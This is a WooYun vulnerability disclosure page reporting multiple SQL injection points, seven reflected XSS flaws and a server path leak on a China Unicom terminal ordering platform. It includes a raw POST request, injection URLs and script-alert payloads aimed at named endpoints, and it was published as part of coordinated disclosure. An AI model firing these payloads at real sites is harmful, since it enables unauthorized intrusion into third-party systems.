当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-081256

漏洞标题：中国联通某终端订购平台多处SQL注入+XSS+路径泄露

相关厂商：中国联通

漏洞作者： BMa

提交时间：2014-10-30 10:48

修复时间：2014-12-14 10:50

公开时间：2014-12-14 10:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：13

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-30： 细节已通知厂商并且等待厂商处理中
2014-11-03： 厂商已经确认，细节仅向厂商公开
2014-11-13： 细节向核心白帽子及相关领域专家公开
2014-11-23： 细节向普通白帽子公开
2014-12-03： 细节向实习白帽子公开
2014-12-14： 细节向公众公开

简要描述：

中国联通某终端订购平台SQL+XSS+路径泄露
有多个注入点，涉及到多个数据库，有多个XSS，以及泄露服务器绝对路径

详细说明：

北京联通终端订购平台
http://dg.uninx.com/
SQL1:

POST /lottery/zhuce.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=e92a32ce11811ec6f88359c3399075dd
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://dg.uninx.com/lottery/zhuce.php
Host: dg.uninx.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)
Content-Length: 177
Isig_User_Email=&Isig_User_Pwd=&Isig_User_Pwd=&Isig_shop_Name=&Isig_Company_Name=&Isig_AreaID=&subarea_id=0+and+7659%3D7659&reseau_id=&Isig_User_Name=&Isig_User_Mobile=&submit=+


SQL2:

dg.uninx.com/dgpt/endpage.php?gid=183&shopid=5+and+sleep%280%29


SQL3:

dg.uninx.com/changs/ztc_index.php?searchword=%27+and+sleep%280%29%3D%27&type=&inpbrand=Lenovo&inpguodaishang=&inpjiage=&inpzhuping=&inpwangluolx=&inp4Gwangluo=&inp3Gwangluo=&inp2Gwangluo=&inpxitong=&inphexinshu=&inpshexiangtou=&inpSIMka=&inptedian=


SQL4:

dg.uninx.com/dgpt/list_4g.php?searchword=&type=%27+and+%27f%27%3D%27f&inpbrand=&inpguodaishang=&inpjiage=0-500&inpzhuping=&inpwangluolx=&inp4Gwangluo=&inp3Gwangluo=&inp2Gwangluo=&inpxitong=&inphexinshu=&inpshexiangtou=&inpSIMka=&inptedian=


SQL5:

dg.uninx.com/dgpt/search.php?word=%27+%7C%7C+%27%27+%7C%7C+%27


SQL6:

http://dg.uninx.com/dgpt/shoplist.php?keyword=&shopid=5&x=0%27+and+%27f%27%3D%27f%27+--+&y=0


sql1.png


sql2.png


sql3.png


sql4.png


XSS1:

http://dg.uninx.com//dgpt/shoplist.php?type=%3E%22%27%3E%3Cscript%3Ealert%28266%29%3C%2Fscript%3E&shopid=%3E%22%27%3E%3Cscript%3Ealert%28266%29%3C%2Fscript%3E


xss1.png


XSS2:

http://dg.uninx.com/dgpt/shopintro.php?type=5&shopid=%22/%3E%3Cscript%3Ealert%282920%29%3C/script%3E


XSS2.png


XSS3:

http://dg.uninx.com/dgpt/shop.php?shopid=%22/%3E%3Cscript%3Ealert%282931%29%3C/script%3E


xss3.png


XSS4:

http://dg.uninx.com/dgpt/search.php?word=%3Cscript%3Ealert%281637%29%3C/script%3E


xss4.png


XSS5:

http://dg.uninx.com//dgpt/list_4g.php?searchword=&type=%22/%3E%3Cscript%3Ealert%281956%29%3C/script%3E&inpbrand=&inpguodaishang=&inpjiage=0-500&inpzhuping=&inpwangluolx=&inp4Gwangluo=&inp3Gwangluo=&inp2Gwangluo=&inpxitong=&inphexinshu=&inpshexiangtou=&inpSIMka=&inptedian=


xss5.png


XSS6:

http://dg.uninx.com/dgpt/list.php?type=3%22/%3E%3Cscript%3Ealert%28866%29%3C/script%3E


xss6.png


XSS7:

http://dg.uninx.com/dgpt/endpage.php?gid=183&shopid=5%22/%3E%3Cscript%3Ealert%28808%29%3C/script%3E


xss7.png


路径泄露：

http://dg.uninx.com/include/
Warning: require_once(/var/www/zddg/include/config.php) [function.require-once]: failed to open stream: No such file or directory in /var/www/zddg/include/index.php on line 2
Fatal error: require_once() [function.require]: Failed opening required '/var/www/zddg/include/config.php' (include_path='.:/usr/local/php5/lib/php') in /var/www/zddg/include/index.php on line 2


path.png


漏洞证明：

修复方案：

版权声明：转载请注明来源 BMa@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2014-11-03 17:29

厂商回复：

最新状态：

暂无

漏洞评价：

评论